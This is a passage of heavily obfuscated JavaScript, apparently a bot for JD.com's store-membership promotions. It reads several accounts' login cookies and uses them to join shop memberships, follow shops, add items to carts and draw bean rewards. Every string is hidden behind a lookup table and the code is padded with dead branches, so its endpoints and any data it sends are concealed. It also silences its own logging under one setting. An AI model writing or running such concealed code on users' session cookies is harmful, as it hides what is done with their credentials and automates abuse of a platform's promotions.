_0x3f755b+_0x23fd45;},'sNPwS':_0x1349('1c'),'eaGxx':_0x1349('1d'),'xrmFP':_0x1349('1e'),'dHuxU':function(_0x23a1a2,_0x258d45){return _0x23a1a2<_0x258d45;},'isaRQ':function(_0x443b97,_0x397992){return _0x443b97!==_0x397992;},'iAMfJ':_0x1349('1f'),'JPShM':function(_0x3ab568,_0x140807){return _0x3ab568(_0x140807);},'lHGcR':function(_0x5c88c0){return _0x5c88c0();},'uDSAF':function(_0x560977){return _0x560977();},'PeWUZ':function(_0x241cf4,_0x2892f0){return _0x241cf4==_0x2892f0;},'RCrkN':_0x1349('20'),'ReapQ':_0x1349('21')};if(!cookiesArr[0x0]){if(_0x1a7554[_0x1349('22')](_0x1a7554[_0x1349('23')],_0x1a7554[_0x1349('23')])){$[_0x1349('24')]($[_0x1349('25')],_0x1a7554[_0x1349('26')],_0x1a7554[_0x1349('27')],{'open-url':_0x1a7554[_0x1349('27')]});return;}else{console[_0x1349('7')](data);}}if($[_0x1349('0')]()){if(_0x1a7554[_0x1349('28')](_0x1a7554[_0x1349('29')](guaopencard,''),_0x1a7554[_0x1349('2a')])){if(_0x1a7554[_0x1349('22')](_0x1a7554[_0x1349('2b')],_0x1a7554[_0x1349('2c')])){console[_0x1349('7')](_0x1349('2d')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x1a7554[_0x1349('2f')]);}}if(_0x1a7554[_0x1349('28')](_0x1a7554[_0x1349('30')](guaopencard,''),_0x1a7554[_0x1349('2a')])){if(_0x1a7554[_0x1349('22')](_0x1a7554[_0x1349('31')],_0x1a7554[_0x1349('31')])){return;}else{Object[_0x1349('1')](jdCookieNode)[_0x1349('2')](_0x2f6471=>{cookiesArr[_0x1349('3')](jdCookieNode[_0x2f6471]);});if(process[_0x1349('4')][_0x1349('5')]&&_0x1a7554[_0x1349('32')](process[_0x1349('4')][_0x1349('5')],_0x1a7554[_0x1349('33')]))console[_0x1349('7')]=()=>{};}}}$[_0x1349('34')]=_0x1a7554[_0x1349('35')];$[_0x1349('36')]=_0x1a7554[_0x1349('37')];console[_0x1349('7')](_0x1349('38')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')]);for(let _0xf97c55=0x0;_0x1a7554[_0x1349('3a')](_0xf97c55,cookiesArr[_0x1349('3b')]);_0xf97c55++){if(_0x1a7554[_0x1349('3c')](_0x1a7554[_0x1349('3d')],_0x1a7554[_0x1349('3d')])){if($[_0x1349('3e')]){$[_0x1349('34')]=$[_0x1349('3e')];console[_0x1349('7')](_0x1349('3f')+$[_0x1349('34')]);}else{console[_0x1349('7')](_0x1a7554[_0x1349('40')]);return;}}else{cookie=cookiesArr[_0xf97c55];if(cookie){$[_0x1349('41')]=_0x1a7554[_0x1349('42')](decodeURIComponent,cookie[_0x1349('43')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x1349('43')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1349('44')]=_0x1a7554[_0x1349('30')](_0xf97c55,0x1);_0x1a7554[_0x1349('45')](getUA);console[_0x1349('7')](_0x1349('46')+$[_0x1349('44')]+'】'+$[_0x1349('41')]+_0x1349('47'));await _0x1a7554[_0x1349('48')](run);if(_0x1a7554[_0x1349('49')](_0xf97c55,0x0)&&!$[_0x1349('3e')])break;if($[_0x1349('13')])break;}}}if($[_0x1349('13')]){if(_0x1a7554[_0x1349('22')](_0x1a7554[_0x1349('4a')],_0x1a7554[_0x1349('4a')])){let _0x4da638=_0x1a7554[_0x1349('4b')];$[_0x1349('24')]($[_0x1349('25')],'',''+_0x4da638);if($[_0x1349('0')]())await notify[_0x1349('4c')](''+$[_0x1349('25')][_0x1349('4d')](/-/g,'/'),''+_0x4da638);}else{console[_0x1349('7')](_0x1349('4e')+(res[_0x1349('2e')]||''));}}})()[_0x1349('4f')](_0x3741ef=>$[_0x1349('50')](_0x3741ef))[_0x1349('51')](()=>$[_0x1349('52')]());async function run(){var _0x3eb752={'UDBSC':function(_0x553a51){return _0x553a51();},'atgFl':function(_0x2ce6a2,_0x3073e4){return _0x2ce6a2!=_0x3073e4;},'YWYqx':_0x1349('53'),'zKSVu':function(_0x2df02f,_0x2c14b1){return _0x2df02f!=_0x2c14b1;},'QdITn':function(_0x5b1ffb,_0x3c55d8){return _0x5b1ffb==_0x3c55d8;},'Jimaj':_0x1349('54'),'TBVNg':function(_0x3022f0,_0x59e54e){return _0x3022f0!==_0x59e54e;},'cDpmg':_0x1349('55'),'bcfTO':function(_0x4ce56d){return _0x4ce56d();},'IBFWU':_0x1349('56'),'waXsD':function(_0x5cc235){return _0x5cc235();},'UAlMX':function(_0x3143db,_0x71f112){return _0x3143db===_0x71f112;},'YFotC':function(_0x1b1bb8,_0x56602f){return _0x1b1bb8==_0x56602f;},'nstYK':function(_0x5c25ba,_0xf935bc){return _0x5c25ba===_0xf935bc;},'TeYAQ':_0x1349('57'),'gdBGV':_0x1349('58'),'wgiKO':function(_0x39695e){return _0x39695e();},'wZGCH':_0x1349('59'),'ofKHN':function(_0x46b5e){return _0x46b5e();},'mGxAT':function(_0x36f861){return _0x36f861();},'NCkNX':_0x1349('5a'),'gXijB':function(_0x3dedde){return _0x3dedde();},'EJNlW':function(_0x384032,_0x873d7f){return _0x384032!==_0x873d7f;},'tNMkH':_0x1349('5b'),'sYxHf':_0x1349('5c'),'NbYCx':_0x1349('5d'),'njWMz':function(_0x4293a9,_0x2d7cca){return _0x4293a9(_0x2d7cca);},'kwbxy':function(_0x79d191,_0x239d66,_0x2aaaf8){return _0x79d191(_0x239d66,_0x2aaaf8);},'eNKzj':function(_0x2ba628,_0x31b4ff){return _0x2ba628+_0x31b4ff;},'mjhGg':function(_0x3c4eda,_0x219c6a){return _0x3c4eda*_0x219c6a;},'kTHzD':function(_0x2cc894,_0x4ef787){return _0x2cc894==_0x4ef787;},'AgzpR':_0x1349('5e'),'RHFOx':function(_0x12bfe0){return _0x12bfe0();},'zjCaX':function(_0x39b023,_0x2cff58){return _0x39b023(_0x2cff58);},'JJSTf':function(_0x2ae327,_0xe72251){return _0x2ae327+_0xe72251;},'fXeRe':function(_0x4dc421,_0x6161c1){return _0x4dc421==_0x6161c1;},'UlVWD':function(_0x5719cc,_0x49187e){return _0x5719cc(_0x49187e);},'QOupJ':function(_0x382035,_0x41695b){return _0x382035(_0x41695b);},'hWtXV':_0x1349('5f'),'QzOiz':function(_0x9d8f68){return _0x9d8f68();},'sEAbI':function(_0xb9c360,_0x246a73){return _0xb9c360+_0x246a73;},'oAnii':_0x1349('60'),'pYCrE':function(_0x46acac,_0x3ae8cf){return _0x46acac!=_0x3ae8cf;},'SIpGK':function(_0x33f1a6,_0x4d92d6){return _0x33f1a6+_0x4d92d6;},'Ncpam':_0x1349('18'),'yilzh':_0x1349('61'),'BeNKl':function(_0x292ae7){return _0x292ae7();},'XRpfi':function(_0x1efb33,_0x958d20,_0x5cebb5){return _0x1efb33(_0x958d20,_0x5cebb5);},'vJGtA':function(_0x5b390f){return _0x5b390f();},'QgHkz':function(_0xed15ea,_0xfd0864){return _0xed15ea===_0xfd0864;},'LDYhu':_0x1349('62'),'RYBxz':_0x1349('63'),'mIRJh':_0x1349('14'),'tuqCw':function(_0x28d855,_0x15d627,_0x53d262){return _0x28d855(_0x15d627,_0x53d262);},'bhoNP':function(_0x18e681,_0x1494c2){return _0x18e681+_0x1494c2;},'pZsUP':function(_0x2f8216,_0x2fe9ec){return _0x2f8216===_0x2fe9ec;},'fQtnW':_0x1349('64'),'DKxxg':_0x1349('65')};try{if(_0x3eb752[_0x1349('66')](_0x3eb752[_0x1349('67')],_0x3eb752[_0x1349('67')])){console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('69'));}else{lz_jdpin_token='';$[_0x1349('6a')]='';$[_0x1349('6b')]='';await _0x3eb752[_0x1349('6c')](getCk);if(_0x3eb752[_0x1349('6d')](activityCookie,'')){console[_0x1349('7')](_0x1349('6e'));return;}if($[_0x1349('13')]){console[_0x1349('7')](_0x3eb752[_0x1349('6f')]);return;}await _0x3eb752[_0x1349('70')](getToken);if(_0x3eb752[_0x1349('6d')]($[_0x1349('6a')],'')){console[_0x1349('7')](_0x3eb752[_0x1349('71')]);return;}await _0x3eb752[_0x1349('72')](getSimpleActInfoVo);$[_0x1349('73')]='';await _0x3eb752[_0x1349('72')](getMyPing);if(_0x3eb752[_0x1349('74')]($[_0x1349('6b')],'')||_0x3eb752[_0x1349('6d')](typeof $[_0x1349('75')],_0x3eb752[_0x1349('76')])||_0x3eb752[_0x1349('77')](typeof $[_0x1349('78')],_0x3eb752[_0x1349('76')])){if(_0x3eb752[_0x1349('79')](_0x3eb752[_0x1349('7a')],_0x3eb752[_0x1349('7a')])){$[_0x1349('7')](_0x3eb752[_0x1349('7b')]);return;}else{_0x3eb752[_0x1349('6c')](resolve);}}await _0x3eb752[_0x1349('7c')](accessLogWithAD);$[_0x1349('7d')]=_0x3eb752[_0x1349('7e')];await _0x3eb752[_0x1349('7f')](getUserInfo);$[_0x1349('3e')]='';await _0x3eb752[_0x1349('80')](getActorUuid);if(!$[_0x1349('3e')]){console[_0x1349('7')](_0x3eb752[_0x1349('81')]);return;}await _0x3eb752[_0x1349('82')](drawContent);await $[_0x1349('83')](0x3e8);let _0x50dad1=await _0x3eb752[_0x1349('82')](checkOpenCard);if(_0x50dad1&&!_0x50dad1[_0x1349('84')]&&!$[_0x1349('13')]){if(_0x3eb752[_0x1349('85')](_0x3eb752[_0x1349('86')],_0x3eb752[_0x1349('87')])){let _0x431134=!![];for(let _0x1efb41 of _0x50dad1[_0x1349('88')]&&_0x50dad1[_0x1349('88')]||[]){if(_0x3eb752[_0x1349('77')](_0x1efb41[_0x1349('89')],0x0)){var _0xfdbc88=_0x3eb752[_0x1349('8a')][_0x1349('8b')]('|'),_0x9bb00a=0x0;while(!![]){switch(_0xfdbc88[_0x9bb00a++]){case'0':await _0x3eb752[_0x1349('8c')](join,_0x1efb41[_0x1349('8d')]);continue;case'1':if(_0x431134)_0x431134=![];continue;case'2':await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('8f')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x431134)console[_0x1349('7')]('组1');continue;case'4':await _0x3eb752[_0x1349('82')](drawContent);continue;case'5':console[_0x1349('7')](_0x1efb41[_0x1349('25')]);continue;}break;}}}_0x431134=!![];for(let _0x36f797 of _0x50dad1[_0x1349('92')]&&_0x50dad1[_0x1349('92')]||[]){if(_0x3eb752[_0x1349('93')](_0x36f797[_0x1349('89')],0x0)){var _0x3cd05b=_0x3eb752[_0x1349('94')][_0x1349('8b')]('|'),_0x424994=0x0;while(!![]){switch(_0x3cd05b[_0x424994++]){case'0':await _0x3eb752[_0x1349('95')](drawContent);continue;case'1':await _0x3eb752[_0x1349('96')](join,_0x36f797[_0x1349('8d')]);continue;case'2':await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('97')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x431134)console[_0x1349('7')]('组2');continue;case'4':if(_0x431134)_0x431134=![];continue;case'5':console[_0x1349('7')](_0x36f797[_0x1349('25')]);continue;}break;}}}await $[_0x1349('83')](0x3e8);await _0x3eb752[_0x1349('95')](drawContent);_0x50dad1=await _0x3eb752[_0x1349('95')](checkOpenCard);await $[_0x1349('83')](0x3e8);}else{if(_0x3eb752[_0x1349('98')](typeof res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')],_0x3eb752[_0x1349('76')]))$[_0x1349('9a')]=res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')];if(_0x3eb752[_0x1349('9c')](typeof res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')],_0x3eb752[_0x1349('76')]))$[_0x1349('9d')]=res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')];if(_0x3eb752[_0x1349('9c')](typeof res[_0x1349('99')][_0x1349('3e')],_0x3eb752[_0x1349('76')]))$[_0x1349('3e')]=res[_0x1349('99')][_0x1349('3e')];}}if(_0x50dad1&&_0x3eb752[_0x1349('9e')](_0x50dad1[_0x1349('9f')],0x1)&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a0')](startDraw,0x1);if(_0x50dad1&&_0x3eb752[_0x1349('9e')](_0x50dad1[_0x1349('a1')],0x1)&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a2')](startDraw,0x2);$[_0x1349('7')](_0x3eb752[_0x1349('97')](_0x3eb752[_0x1349('a3')],$[_0x1349('9a')]));if(!$[_0x1349('9a')]&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a4')](followShop);if(!$[_0x1349('9a')]&&!$[_0x1349('13')])await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('a5')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));$[_0x1349('7')](_0x3eb752[_0x1349('a5')](_0x3eb752[_0x1349('a6')],$[_0x1349('9d')]));if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('a7')](_0x3eb752[_0x1349('a8')](guaopencard_addSku,''),_0x3eb752[_0x1349('a9')]))console[_0x1349('7')](_0x3eb752[_0x1349('aa')]);if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('9e')](guaopencard_addSku,_0x3eb752[_0x1349('a9')])&&!$[_0x1349('13')])await _0x3eb752[_0x1349('ab')](addSku);if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('9e')](guaopencard_addSku,_0x3eb752[_0x1349('a9')])&&!$[_0x1349('13')])await $[_0x1349('83')](_0x3eb752[_0x1349('ac')](parseInt,_0x3eb752[_0x1349('a8')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));await _0x3eb752[_0x1349('ad')](getDrawRecordHasCoupon);await $[_0x1349('83')](0x3e8);await _0x3eb752[_0x1349('ad')](getShareRecord);$[_0x1349('7')]($[_0x1349('34')]);if(_0x3eb752[_0x1349('ae')]($[_0x1349('44')],0x1)){if($[_0x1349('3e')]){if(_0x3eb752[_0x1349('ae')](_0x3eb752[_0x1349('af')],_0x3eb752[_0x1349('b0')])){for(let _0x408d22 of res[_0x1349('b1')][_0x1349('b2')][_0x1349('b3')]){console[_0x1349('7')](_0x1349('b4')+_0x408d22[_0x1349('b5')]+_0x408d22[_0x1349('b6')]+_0x408d22[_0x1349('b7')]);}}else{$[_0x1349('34')]=$[_0x1349('3e')];console[_0x1349('7')](_0x1349('3f')+$[_0x1349('34')]);}}else{console[_0x1349('7')](_0x3eb752[_0x1349('b8')]);return;}}await $[_0x1349('83')](_0x3eb752[_0x1349('b9')](parseInt,_0x3eb752[_0x1349('ba')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x3e8),0xa));if(!$[_0x1349('9a')])await $[_0x1349('83')](_0x3eb752[_0x1349('b9')](parseInt,_0x3eb752[_0x1349('ba')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x2710),0xa));}}catch(_0x5e06d9){if(_0x3eb752[_0x1349('bb')](_0x3eb752[_0x1349('bc')],_0x3eb752[_0x1349('bd')])){if(resp[_0x1349('be')]&&_0x3eb752[_0x1349('6d')](resp[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x3eb752[_0x1349('6f')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('bf'));}else{console[_0x1349('7')](_0x5e06d9);}}}function getDrawRecordHasCoupon(){var _0x4b705f={'ZhDVt':function(_0x55303f,_0x3af9d2){return _0x55303f==_0x3af9d2;},'KZmRT':_0x1349('54'),'RUblL':function(_0xaab1e5,_0x56a159){return _0xaab1e5||_0x56a159;},'UMzXi':_0x1349('c0'),'okDJX':function(_0x41421f,_0x295c58){return _0x41421f!=_0x295c58;},'arilq':_0x1349('53'),'eWTjI':function(_0x269869,_0x1166d1){return _0x269869===_0x1166d1;},'lVNNW':_0x1349('c1'),'opeeS':_0x1349('c2'),'viMAf':function(_0xaf3aba,_0x1b2665){return _0xaf3aba==_0x1b2665;},'CMThN':_0x1349('c3'),'MIKTc':function(_0x195d63,_0x1b8454){return _0x195d63===_0x1b8454;},'PedAS':function(_0x498e4d,_0x4a2243){return _0x498e4d!==_0x4a2243;},'EinGN':_0x1349('c4'),'pjIac':_0x1349('c5'),'ypVZy':_0x1349('c6'),'AsYEV':function(_0x1010de,_0x3a1cfc){return _0x1010de!=_0x3a1cfc;},'jYrVH':function(_0xe51522,_0x4d134f){return _0xe51522+_0x4d134f;},'dUsyO':function(_0x1b9844,_0x1a71cc){return _0x1b9844>_0x1a71cc;},'oqhxI':function(_0x594c07,_0x2a375d){return _0x594c07*_0x2a375d;},'zFvUV':function(_0x31ac23,_0x35a82e,_0x37e73d){return _0x31ac23(_0x35a82e,_0x37e73d);},'EmPWB':_0x1349('c7'),'BlQyJ':_0x1349('c8'),'AaVKM':_0x1349('c9'),'CPhGt':function(_0x4bbfd7){return _0x4bbfd7();},'TrcQK':_0x1349('ca'),'pnOSr':function(_0x5ab240,_0x5c05d7){return _0x5ab240(_0x5c05d7);},'wyWQI':function(_0x4c44f7,_0x144096,_0x479a03){return _0x4c44f7(_0x144096,_0x479a03);},'vHrPH':_0x1349('cb')};return new Promise(_0x1a58af=>{var _0x2afd7b={'XluVa':function(_0x2bc53d,_0x57208){return _0x4b705f[_0x1349('cc')](_0x2bc53d,_0x57208);},'utUZA':_0x4b705f[_0x1349('cd')],'MhIkC':function(_0x477ee0,_0x545583){return _0x4b705f[_0x1349('ce')](_0x477ee0,_0x545583);},'Kzdua':_0x4b705f[_0x1349('cf')],'usnrd':function(_0x3dbcb4,_0x357a1e){return _0x4b705f[_0x1349('d0')](_0x3dbcb4,_0x357a1e);},'gqVPt':_0x4b705f[_0x1349('d1')],'TqwpE':_0x4b705f[_0x1349('d2')],'APPfV':function(_0x2d6679,_0x1b522b){return _0x4b705f[_0x1349('d3')](_0x2d6679,_0x1b522b);},'GCKMh':_0x4b705f[_0x1349('d4')],'qROTs':function(_0x2220fc,_0x229cbd){return _0x4b705f[_0x1349('d5')](_0x2220fc,_0x229cbd);},'FxWhR':function(_0x51198f,_0x21e188){return _0x4b705f[_0x1349('d6')](_0x51198f,_0x21e188);},'nOrko':_0x4b705f[_0x1349('d7')],'WZCVV':_0x4b705f[_0x1349('d8')],'JgUYH':function(_0x4e444a,_0x2c71b0){return _0x4b705f[_0x1349('d3')](_0x4e444a,_0x2c71b0);},'iALAe':_0x4b705f[_0x1349('d9')],'GpdSS':function(_0x2e99d3,_0x15e203){return _0x4b705f[_0x1349('da')](_0x2e99d3,_0x15e203);},'GGVkB':function(_0x4cf949,_0x415d4b){return _0x4b705f[_0x1349('db')](_0x4cf949,_0x415d4b);},'mLINj':function(_0xdc0007,_0x921170){return _0x4b705f[_0x1349('dc')](_0xdc0007,_0x921170);},'SaAcx':function(_0x18d7c8,_0x27d2d5){return _0x4b705f[_0x1349('dd')](_0x18d7c8,_0x27d2d5);},'naiox':function(_0x364b51,_0x312fa2,_0x12183c){return _0x4b705f[_0x1349('de')](_0x364b51,_0x312fa2,_0x12183c);},'yuySy':function(_0x12b95d,_0x1600a6){return _0x4b705f[_0x1349('d6')](_0x12b95d,_0x1600a6);},'zfQiO':_0x4b705f[_0x1349('df')],'TNpoV':_0x4b705f[_0x1349('e0')],'eflsD':function(_0x56ebea,_0x20a00c){return _0x4b705f[_0x1349('d6')](_0x56ebea,_0x20a00c);},'qqDoP':_0x4b705f[_0x1349('e1')],'BHlJQ':function(_0x14e6f2){return _0x4b705f[_0x1349('e2')](_0x14e6f2);}};if(_0x4b705f[_0x1349('d5')](_0x4b705f[_0x1349('e3')],_0x4b705f[_0x1349('e3')])){let _0x5d7c72=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x4b705f[_0x1349('e7')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e8');$[_0x1349('e9')](_0x4b705f[_0x1349('ea')](taskPostUrl,_0x4b705f[_0x1349('eb')],_0x5d7c72),async(_0x3c0549,_0x13dc5e,_0x371311)=>{var _0x559016={'KVDEe':function(_0x57963b,_0x444ed3){return _0x2afd7b[_0x1349('ec')](_0x57963b,_0x444ed3);},'YfQHj':_0x2afd7b[_0x1349('ed')],'vZpHZ':function(_0xd0fdd7,_0x1c97c5){return _0x2afd7b[_0x1349('ee')](_0xd0fdd7,_0x1c97c5);},'pbrxM':_0x2afd7b[_0x1349('ef')]};try{if(_0x2afd7b[_0x1349('f0')](_0x2afd7b[_0x1349('f1')],_0x2afd7b[_0x1349('f2')])){let _0xd801ab='';if(res[_0x1349('99')][_0x1349('f3')]){_0xd801ab=res[_0x1349('99')][_0x1349('f3')]+'京豆';}if(res[_0x1349('99')][_0x1349('f4')]&&res[_0x1349('99')][_0x1349('f5')]){_0xd801ab+=_0x1349('f6')+res[_0x1349('99')][_0x1349('f4')]+'京豆';}console[_0x1349('7')](_0x1349('f7')+_0x559016[_0x1349('f8')](_0xd801ab,_0x559016[_0x1349('f9')]));}else{if(_0x3c0549){console[_0x1349('7')](''+$[_0x1349('68')](_0x3c0549));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x371311);if(_0x2afd7b[_0x1349('fc')](typeof res,_0x2afd7b[_0x1349('fd')])){if(_0x2afd7b[_0x1349('fe')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){console[_0x1349('7')](_0x1349('ff'));let _0x1179b8=0x0;let _0x5c1b68=0x0;for(let _0x2ea187 in res[_0x1349('99')]){if(_0x2afd7b[_0x1349('100')](_0x2afd7b[_0x1349('101')],_0x2afd7b[_0x1349('102')])){let _0x4c2dfb=res[_0x1349('99')][_0x2ea187];if(_0x2afd7b[_0x1349('103')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))_0x1179b8++;if(_0x2afd7b[_0x1349('103')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))_0x5c1b68=_0x4c2dfb[_0x1349('105')][_0x1349('4d')]('京豆','');if(_0x2afd7b[_0x1349('ee')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))console[_0x1349('7')](''+(_0x2afd7b[_0x1349('106')](_0x4c2dfb[_0x1349('107')],0xa)&&_0x2afd7b[_0x1349('108')](_0x4c2dfb[_0x1349('8d')],':')||'')+_0x4c2dfb[_0x1349('105')]);}else{$[_0x1349('50')](e,_0x13dc5e);}}if(_0x2afd7b[_0x1349('109')](_0x1179b8,0x0))console[_0x1349('7')](_0x1349('10a')+_0x1179b8+'):'+(_0x2afd7b[_0x1349('10b')](_0x1179b8,_0x2afd7b[_0x1349('10c')](parseInt,_0x5c1b68,0xa))||0x1e)+'京豆');}else if(_0x2afd7b[_0x1349('103')](typeof res,_0x2afd7b[_0x1349('fd')])&&res[_0x1349('2e')]){if(_0x2afd7b[_0x1349('10d')](_0x2afd7b[_0x1349('10e')],_0x2afd7b[_0x1349('10f')])){console[_0x1349('7')](_0x1349('110')+(res[_0x1349('2e')]||''));}else{if(_0x559016[_0x1349('111')](typeof res[_0x1349('112')],_0x559016[_0x1349('113')]))$[_0x1349('6a')]=res[_0x1349('112')];}}else{if(_0x2afd7b[_0x1349('114')](_0x2afd7b[_0x1349('115')],_0x2afd7b[_0x1349('115')])){return JSON[_0x1349('116')](str);}else{console[_0x1349('7')](_0x371311);}}}else{console[_0x1349('7')](_0x371311);}}}}catch(_0x46f8c1){$[_0x1349('50')](_0x46f8c1,_0x13dc5e);}finally{_0x2afd7b[_0x1349('117')](_0x1a58af);}});}else{if(resp[_0x1349('be')]&&_0x4b705f[_0x1349('118')](resp[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x4b705f[_0x1349('119')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}});}function getShareRecord(){var _0x3ebc56={'tKigL':function(_0x5621b1){return _0x5621b1();},'aLwyO':_0x1349('11a'),'GketL':function(_0x10c237,_0x37bbf6){return _0x10c237!==_0x37bbf6;},'wxnbU':_0x1349('11b'),'SHRMO':_0x1349('11c'),'BWvhh':function(_0x3fdf09,_0x408145){return _0x3fdf09===_0x408145;},'TkiqB':_0x1349('11d'),'eLDCo':_0x1349('11e'),'IvEae':function(_0x51fe4b,_0x9caf8f){return _0x51fe4b==_0x9caf8f;},'vCPAQ':_0x1349('c3'),'awusS':function(_0x2308e7,_0x3f0fdf){return _0x2308e7===_0x3f0fdf;},'eSwra':_0x1349('11f'),'kBErd':_0x1349('120'),'dAArL':_0x1349('121'),'FQMes':_0x1349('122'),'srwPv':function(_0x422e59){return _0x422e59();},'EtOKa':function(_0x582c35){return _0x582c35();},'jFldy':function(_0x174772,_0x65e25e){return _0x174772(_0x65e25e);},'YhixG':function(_0x90f96d,_0x84bb38,_0x93c433){return _0x90f96d(_0x84bb38,_0x93c433);},'ZaZwR':_0x1349('123')};return new Promise(_0x3c83d5=>{var _0x1b1a05={'dCqdG':function(_0x1a3968){return _0x3ebc56[_0x1349('124')](_0x1a3968);}};let _0x361709=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x3ebc56[_0x1349('125')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e8');$[_0x1349('e9')](_0x3ebc56[_0x1349('126')](taskPostUrl,_0x3ebc56[_0x1349('127')],_0x361709),async(_0x3a1e81,_0x15dd6e,_0x47fb34)=>{var _0x5a7802={'xiQmF':function(_0xe78247){return _0x3ebc56[_0x1349('128')](_0xe78247);},'ebMpN':_0x3ebc56[_0x1349('129')]};if(_0x3ebc56[_0x1349('12a')](_0x3ebc56[_0x1349('12b')],_0x3ebc56[_0x1349('12c')])){try{if(_0x3a1e81){console[_0x1349('7')](''+$[_0x1349('68')](_0x3a1e81));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{if(_0x3ebc56[_0x1349('12d')](_0x3ebc56[_0x1349('12e')],_0x3ebc56[_0x1349('12f')])){console[_0x1349('7')](_0x47fb34);}else{res=$[_0x1349('fb')](_0x47fb34);if(_0x3ebc56[_0x1349('130')](typeof res,_0x3ebc56[_0x1349('131')])){if(_0x3ebc56[_0x1349('12d')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){$[_0x1349('7')](_0x1349('132')+res[_0x1349('99')][_0x1349('3b')]+'个');}else if(_0x3ebc56[_0x1349('130')](typeof res,_0x3ebc56[_0x1349('131')])&&res[_0x1349('2e')]){if(_0x3ebc56[_0x1349('133')](_0x3ebc56[_0x1349('134')],_0x3ebc56[_0x1349('135')])){console[_0x1349('7')](_0x47fb34);}else{console[_0x1349('7')](''+(res[_0x1349('2e')]||''));}}else{console[_0x1349('7')](_0x47fb34);}}else{if(_0x3ebc56[_0x1349('133')](_0x3ebc56[_0x1349('136')],_0x3ebc56[_0x1349('136')])){console[_0x1349('7')](_0x47fb34);}else{_0x5a7802[_0x1349('137')](_0x3c83d5);}}}}}catch(_0x1e96e1){$[_0x1349('50')](_0x1e96e1,_0x15dd6e);}finally{if(_0x3ebc56[_0x1349('12a')](_0x3ebc56[_0x1349('138')],_0x3ebc56[_0x1349('138')])){console[_0x1349('7')](e);$[_0x1349('24')]($[_0x1349('25')],'',_0x5a7802[_0x1349('139')]);return[];}else{_0x3ebc56[_0x1349('13a')](_0x3c83d5);}}}else{_0x1b1a05[_0x1349('13b')](_0x3c83d5);}});});}function addSku(){var _0x1eb8ed={'AeJyE':function(_0x4ead4b){return _0x4ead4b();},'hpajn':function(_0x59c87e,_0x1dd77e){return _0x59c87e>_0x1dd77e;},'Jrvcd':_0x1349('13c'),'LeRFt':function(_0x5eb68c,_0x25273c){return _0x5eb68c+_0x25273c;},'ZkLhZ':_0x1349('13d'),'jRluB':function(_0x48adbe,_0x188fdb){return _0x48adbe+_0x188fdb;},'UGLaG':function(_0x5cd7ef,_0x195778){return _0x5cd7ef||_0x195778;},'XOnkb':_0x1349('13e'),'tiWlP':function(_0x112eea,_0xc8bd85){return _0x112eea<_0xc8bd85;},'JzQiW':function(_0x243d97,_0x56acde){return _0x243d97*_0x56acde;},'lRpfG':function(_0x59df76){return _0x59df76();},'PwtPI':function(_0x2388fb,_0x371d54){return _0x2388fb===_0x371d54;},'qSszH':_0x1349('13f'),'vakBu':function(_0x6dac71,_0x58a8cb){return _0x6dac71===_0x58a8cb;},'fQOpm':_0x1349('140'),'ZxwWs':_0x1349('141'),'Vxume':function(_0x289de3,_0x2a98b4){return _0x289de3!==_0x2a98b4;},'jmerd':_0x1349('142'),'aBLiH':_0x1349('143'),'buinj':function(_0x27a964,_0x2e93c7){return _0x27a964==_0x2e93c7;},'YHxoV':function(_0x3eab6b,_0x49ba1f){return _0x3eab6b!==_0x49ba1f;},'pVzTi':_0x1349('144'),'DmEdC':_0x1349('145'),'dwgfQ':_0x1349('54'),'SAcfw':function(_0x152dc1,_0x467596){return _0x152dc1==_0x467596;},'sTYbn':_0x1349('c3'),'WwmCz':_0x1349('146'),'FApeg':_0x1349('147'),'kAzOE':function(_0xbeb32a,_0x182e22){return _0xbeb32a===_0x182e22;},'rsDpF':_0x1349('c0'),'ZfjrW':function(_0x57be7f,_0x51fe4f){return 